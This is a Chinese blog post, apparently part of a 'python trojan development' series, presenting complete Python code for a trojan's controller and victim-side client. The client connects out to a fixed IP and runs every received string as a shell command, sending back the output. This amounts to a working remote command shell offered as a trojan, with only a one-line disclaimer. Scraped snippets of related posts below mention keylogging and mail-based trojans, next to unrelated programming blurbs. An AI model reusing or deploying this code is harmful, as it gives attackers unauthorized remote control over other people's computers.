前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写

有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服。我的代码自己运行过,很稳,各位慎重,勿做非法之事

因为是木马入门,所以前几篇比较简单,也只是一个模块搭建,后期我会逐步搭建框架,一周我也只会出两三篇来记录自己的编写历程,所以大佬们亲喷

首先当然是控制端

 from socket import *
 import os
 import time
 import subprocess

 target = "192.168.67.1"
 port = 10002
 addr = (target,port)
 buff = 1024
 tcpSock = socket(AF_INET, SOCK_STREAM)
 tcpSock.bind(addr)
 tcpSock.listen(5)

 while True:
     conn,addr=tcpSock.accept()
     while True:
         data = input("input the command:\n")
         conn.send(bytes(data,encoding="utf-8"))
         getdata = str(conn.recv(buff),encoding="utf-8")
         if not getdata:
             break
         print(getdata)
     tcpSock.close()

再就是被控端

 import socket
 import os
 import subprocess
 target = "192.168.67.1"
 port = 10002
 addr = (target,port)
 buff = 1024

 cli = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 cli.connect(addr)

 while True:
     data = str(cli.recv(buff),encoding="utf-8")
     if not data:
         break
     print(data)
     f =subprocess.Popen(data,shell=True, stdout=subprocess.PIPE).stdout
     redata = bytes(str(f.read()),encoding="utf-8")
     cli.sendall(redata)
 cli.close()

python trojan development 3rd —— use python to creative a simple shell的更多相关文章

  1. python trojan development 2nd —— use python to send mail and listen to the key board then combine them

    请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...

  2. python trojan development 1st —— use python to send mail and caputre the screen then combine them

    import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...

  3. Beginning Python Games Development

    Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...

  4. Python Geospatial Development reading note(1)

    chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...

  5. 【转】linux和windows下安装python集成开发环境及其python包

    本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...

  6. python学习: 如何循序渐进学习Python语言

    大家都知道Python语言是一种新兴的编程语言.1989年,Python就由Guido van Rossum发明.Python一直发展态势很好. 原因有几点:1.跨平台性好.Linux.Windows ...

  7. [IT学习]Learn Python the Hard Way (Using Python 3)笨办法学Python3版本

    黑客余弦先生在知道创宇的知道创宇研发技能表v3.1中提到了入门Python的一本好书<Learn Python the Hard Way(英文版链接)>.其中的代码全部是2.7版本. 如果 ...

  8. 『无为则无心』Python基础 — 3、搭建Python开发环境

    目录 1.Python开发环境介绍 2.Python解释器的分类 3.下载Python解释器 4.安装Python解释器 5.Python解释器验证 1.Python开发环境介绍 所谓"工欲 ...

  9. 【python之路1】python安装与环境变量配置

    直接搜索 Python,进入官网,找到下载,根据个人电脑操作系统下载相应的软件.小编的是windows os .下载python-2.7.9.msi 安装包  双击安装程序,进入安装步骤.在安装过程中 ...

随机推荐

  1. e.target e.currenttarget

    概述 当事件穿过 DOM 时,识别事件的当前目标对象(Identifies the current target for the event, as the event traverses the D ...

  2. Customize Acrylic Brush in UWP Applications(在UWP中自定义亚克力笔刷)

    原文 Customize Acrylic Brush in UWP Applications(在UWP中自定义亚克力笔刷) Windows 10 Fall Creators Update(Build ...

  3. 1-5设定NetCore监听端口

    问题的起源:启动一个.netCore项目,默认使用的是5000端口,当我们有很多个项目的时候(集群),不可能都使用5000端口. 方法1:set ASPNETCORE_URLS=http://127. ...

  4. Multi-tasking RTOS for microprocessors with limited memory by saving only a single return address per task during context switching

    A real-time operating system (RTOS) for use with minimal-memory controllers has a kernel for managin ...

  5. WPF中的菜单模板

    原文:WPF中的菜单模板 资源字典代码如下: <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xa ...

  6. WPF Windows背景透明其中的文字保持不透明

    原文:WPF Windows背景透明其中的文字保持不透明 版权声明:本文为博主原创,未经允许不得转载.交流.源码资料加群:161154103 https://blog.csdn.net/mpegfou ...

  7. 写在程序猿的困惑(特别Java程序猿)入行一年,感觉我不知道接下来该怎么办才能不断进步的,寻求翼

    入行了一年.感觉不知道接下来该怎么做才干继续进步了,求不吝赐教(V2EX) @kafka0102 :做技术能够学的东西太多了.仅仅是在不同的阶段做好不同的规划.要结合当前所做的事情去做更深入或广度的学 ...

  8. Git学习笔记(两)

    删除文件 假设需要从Git删除文件,我们必须从删除列表中的跟踪文件(从临时区域中删除).然后提交.可以使用git rm工作订单完成.联合司令部从工作区删除指定的文件.以后就不会出如今未跟踪文件清单中. ...

  9. (转)总结:JavaScript异步、事件循环与消息队列、微任务与宏任务

    前言 Philip Roberts 在演讲 great talk at JSConf on the event loop 中说:要是用一句话来形容 JavaScript,我可能会这样: “JavaSc ...

  10. 说谎的简单工厂模式设计模式&amp;工厂方法模式&amp;Abstract Factory模式

    工厂模式被分成三个:简单工厂模式,抽象工厂模式和工厂模式. 定义: 简单工厂模式:用一个单独的类来做创造实例的过程. 工厂模式:一个用于创建对象的接口.让子类决定实例化哪一个类,讲一个类的实例化 延迟 ...